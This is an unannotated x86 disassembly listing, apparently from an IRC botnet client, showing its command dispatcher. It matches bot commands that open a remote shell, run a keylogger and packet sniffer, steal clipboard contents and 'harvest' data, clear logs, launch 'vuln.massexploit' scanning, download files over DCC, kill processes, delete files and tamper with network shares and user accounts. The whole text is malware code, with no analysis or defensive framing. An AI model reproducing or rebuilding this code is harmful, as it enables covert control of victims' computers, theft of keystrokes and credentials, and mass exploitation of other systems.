loc_40E230:				; CODE XREF: seg000:0040E1EDj
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D7
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D7
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C7
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C7
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122AE
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122AE
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412277
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412277
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41224C
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41224C
		push	edi
		push	offset aEnz_be010ne ; "enz.be010ne"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412212
		push	edi
		push	offset aEnz_010	; "enz.010"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412212
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412109
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412109
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120DF
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120DF
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41205B
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41205B
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203E
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203E
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412025
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412025
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FDE
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FDE
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E47B
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E47B:				; CODE XREF: seg000:0040E461j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E508
		cmp	[ebp-8], ebx
		jnz	short loc_40E4AB
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_40E4AB:				; CODE XREF: seg000:0040E48Fj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40E4B0:				; CODE XREF: seg000:0040E4F6j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E4BC
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E4BC:				; CODE XREF: seg000:0040E4B5j
		push	eax
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E4B0
		push	offset dword_435C48


loc_40E4FD:				; CODE XREF: seg000:004124C3j
		call	sub_40B151
		pop	ecx
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_40E508:				; CODE XREF: seg000:0040E48Aj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F9D
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F9D
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F72
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F72
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F4E
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F4E
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D77
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D77
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C39
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C39
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193A
		push	edi
		push	offset aVall	; "vall"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193A
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411921
		push	dword ptr [ebp+10h]
		push	offset aEnz_n	; "enz.n"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411921
		push	dword ptr [ebp+10h]
		push	offset aEnz_join ; "enz.join"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411901
		push	dword ptr [ebp+10h]
		push	offset aEnz_j	; "enz.j"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411901
		push	dword ptr [ebp+10h]
		push	offset aEnz_part ; "enz.part"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118E8
		push	dword ptr [ebp+10h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118E8
		push	dword ptr [ebp+10h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118B1
		push	dword ptr [ebp+10h]
		push	offset aEnz_r	; "enz.r"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118B1
		push	dword ptr [ebp+10h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117EE
		push	dword ptr [ebp+10h]
		push	offset aThreads_k ; "threads.k"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117EE
		push	dword ptr [ebp+10h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411743
		push	dword ptr [ebp+10h]
		push	offset aClone_q	; "clone.q"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411743
		push	dword ptr [ebp+10h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116F8
		push	dword ptr [ebp+10h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116F8
		push	dword ptr [ebp+10h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116E3
		push	dword ptr [ebp+10h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116E3
		push	dword ptr [ebp+10h]
		push	offset aBox_open ; "box.open"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B9
		push	dword ptr [ebp+10h]
		push	offset aBox_o	; "box.o"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B9
		push	dword ptr [ebp+10h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411694
		push	dword ptr [ebp+10h]
		push	offset aEnz_se	; "enz.se"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411694
		push	dword ptr [ebp+10h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411632
		push	dword ptr [ebp+10h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411632
		push	dword ptr [ebp+10h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411606
		push	dword ptr [ebp+10h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411606
		push	dword ptr [ebp+10h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AB
		push	dword ptr [ebp+10h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AB
		push	dword ptr [ebp+10h]
		push	offset aBox_delete ; "box.delete"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411574
		push	dword ptr [ebp+10h]
		push	offset aBox_del	; "box.del"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411574
		push	dword ptr [ebp+10h]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411493
		push	dword ptr [ebp+10h]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411493
		push	dword ptr [ebp+10h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411478
		push	dword ptr [ebp+10h]
		push	offset aBox_fl	; "box.fl"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411478
		push	dword ptr [ebp+10h]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41139A
		push	dword ptr [ebp+10h]
		push	offset aEnz_v	; "enz.v"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41139A
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41135F
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41135F
		push	dword ptr [ebp+10h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411314
		push	dword ptr [ebp+10h]
		push	offset aBox_cm	; "box.cm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411314
		push	dword ptr [ebp+10h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41128F
		push	dword ptr [ebp+10h]
		push	offset aBox_rf	; "box.rf"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41128F
		push	dword ptr [ebp+10h]
		push	offset aSniff	; "sniff"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB1F
		push	edi
		push	offset aOn	; "on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EAEA
		push	18h
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_40EA17
		push	offset unk_4359A0
		jmp	loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EA17:				; CODE XREF: seg000:0040EA0Bj
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jnz	short loc_40EA59
		mov	esi, offset aSs_0 ; "#ss"
		push	offset byte_438F9C
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA59
		mov	esi, [ebp-8Ch]


loc_40EA59:				; CODE XREF: seg000:0040EA3Bj
					; seg000:0040EA51j
		push	esi
		lea	eax, [ebp-4D8h]
		push	80h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-2C8h]
		push	offset unk_43595C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	18h
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-458h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	4024DCh
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-458h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40EAD9


loc_40EAC3:				; CODE XREF: seg000:0040EAD7j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40ECA7
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40EAC3
; ---------------------------------------------------------------------------


loc_40EAD9:				; CODE XREF: seg000:0040EAC1j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43590C
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_40EAEA:				; CODE XREF: seg000:0040E9FBj
		push	edi
		push	offset aOff	; "off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECA7
		push	ebx
		push	18h
		call	sub_415174
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB18
		push	eax
		push	offset unk_4358BC
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_40EB18:				; CODE XREF: seg000:0040EB0Bj
		push	offset unk_435880
		jmp	short loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EB1F:				; CODE XREF: seg000:0040E9E6j
		push	dword ptr [ebp+10h]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECD1
		push	edi
		push	offset aOn	; "on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EB9E
		push	edi
		push	offset aFile	; "file"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EB9E
		push	edi
		push	offset aOff	; "off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECA7
		push	ebx
		push	1Ah
		call	sub_415174
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB86
		push	eax
		push	offset unk_435824
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_40EB86:				; CODE XREF: seg000:0040EB79j
		push	offset unk_4357E4


loc_40EB8B:				; CODE XREF: seg000:0040EA12j
					; seg000:0040EB1Dj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_40EB9E:				; CODE XREF: seg000:0040EB45j
					; seg000:0040EB56j
		push	1Ah
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_40EBB1
		push	offset unk_4357B0
		jmp	short loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EBB1:				; CODE XREF: seg000:0040EBA8j
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		push	offset aFile	; "file"
		mov	[ebp-454h], eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBE0
		mov	dword ptr [ebp-450h], 1
		jmp	short loc_40EBE9
; ---------------------------------------------------------------------------


loc_40EBE0:				; CODE XREF: seg000:0040EBD2j
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax


loc_40EBE9:				; CODE XREF: seg000:0040EBDEj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40EC10
		mov	esi, offset aSs	; "#ss"
		push	offset byte_438F9C
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC10
		mov	esi, [ebp-8Ch]


loc_40EC10:				; CODE XREF: seg000:0040EBF2j
					; seg000:0040EC08j
		push	esi
		lea	eax, [ebp-4D4h]
		push	80h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-2C8h]
		push	offset unk_43577C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ah
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-4D8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset loc_4021FB
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-4D8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40EC8C


loc_40EC7A:				; CODE XREF: seg000:0040EC8Aj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40ECA7
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40EC7A
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: seg000:0040EC78j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43572C


loc_40EC98:				; CODE XREF: seg000:0040EAE5j
					; seg000:0040EB13j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40ECA7:				; CODE XREF: seg000:0040EAC9j
					; seg000:0040EAF9j ...
		cmp	[ebp-8], ebx
		jnz	loc_40D7DD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_40ECD1:				; CODE XREF: seg000:0040EB30j
		push	dword ptr [ebp+10h]
		push	offset aBox_net	; "box.net"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFA2
		cmp	ds:dword_43A448, ebx
		jz	short loc_40ED02
		cmp	ds:dword_43A470, ebx
		jz	short loc_40ED02
		push	offset dword_4356D8
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40ED02:				; CODE XREF: seg000:0040ECEEj
					; seg000:0040ECF6j
		cmp	[ebp-0Ch], ebx
		jz	loc_40EF6A
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40ED2A
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40ED2A:				; CODE XREF: seg000:0040ED1Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED90
		cmp	[ebp+20h], ebx
		jz	short loc_40ED64
		push	dword ptr [ebp+8]
		push	3


loc_40ED45:				; CODE XREF: seg000:0040EDA6j
					; seg000:0040EDBEj ...
		call	sub_412DCD
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_40ED64:				; CODE XREF: seg000:0040ED3Ej
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_413074
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40ED86
		push	offset dword_4356A0
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40ED86:				; CODE XREF: seg000:0040ED7Aj
		push	offset dword_43566C
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40ED90:				; CODE XREF: seg000:0040ED39j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDA8
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDA8:				; CODE XREF: seg000:0040ED9Fj
		push	edi
		push	offset aPause	; "pause"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDC0
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDC0:				; CODE XREF: seg000:0040EDB7j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDDB
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDDB:				; CODE XREF: seg000:0040EDCFj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDF6
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDF6:				; CODE XREF: seg000:0040EDEAj
		push	edi
		push	offset aShare	; "share"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE73
		cmp	[ebp+20h], ebx
		jz	short loc_40EE46
		cmp	[ebp-9B0h], bl
		jz	short loc_40EE1C
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40EE27
; ---------------------------------------------------------------------------


loc_40EE1C:				; CODE XREF: seg000:0040EE12j
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40EE27:				; CODE XREF: seg000:0040EE1Aj
		call	sub_4131B1
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 18h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_40EE46:				; CODE XREF: seg000:0040EE0Aj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4133A6
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EE69
		push	offset dword_435618
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EE69:				; CODE XREF: seg000:0040EE5Dj
		push	offset dword_4355E4
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EE73:				; CODE XREF: seg000:0040EE05j
		push	edi
		push	offset aUser	; "user"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF0F
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40EEE8
		cmp	[ebp-9B0h], bl
		jz	short loc_40EEA9
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40EEC9
; ---------------------------------------------------------------------------


loc_40EEA9:				; CODE XREF: seg000:0040EE95j
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40EEC5
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40EEC9
; ---------------------------------------------------------------------------


loc_40EEC5:				; CODE XREF: seg000:0040EEBEj
		push	ebx
		push	eax
		push	2


loc_40EEC9:				; CODE XREF: seg000:0040EEA7j
					; seg000:0040EEC3j
		call	sub_4134C7
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 24h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_40EEE8:				; CODE XREF: seg000:0040EE8Dj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4139DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EF08
		push	offset dword_4355A8
		jmp	short loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EF08:				; CODE XREF: seg000:0040EEFFj
		push	offset dword_435578
		jmp	short loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EF0F:				; CODE XREF: seg000:0040EE82j
		push	edi
		push	offset aSend	; "send"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF57
		cmp	[ebp+20h], ebx
		jz	short loc_40EF50
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_413C8F
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		jmp	short loc_40EF6A
; ---------------------------------------------------------------------------


loc_40EF50:				; CODE XREF: seg000:0040EF23j
		push	offset dword_435544
		jmp	short loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EF57:				; CODE XREF: seg000:0040EF1Ej
		push	offset dword_435514


loc_40EF5C:				; CODE XREF: seg000:0040ECFDj
					; seg000:0040ED81j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40EF6A:				; CODE XREF: seg000:0040ED05j
					; seg000:0040ED5Fj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40EF8B
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_40EF8B:				; CODE XREF: seg000:0040EF6Dj
					; seg000:00411304j ...
		mov	esi, [ebp+2Ch]


loc_40EF8E:				; CODE XREF: seg000:0040D7E0j
					; seg000:004115DFj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		pop	ecx
		mov	eax, esi
		jmp	loc_40D200
; ---------------------------------------------------------------------------


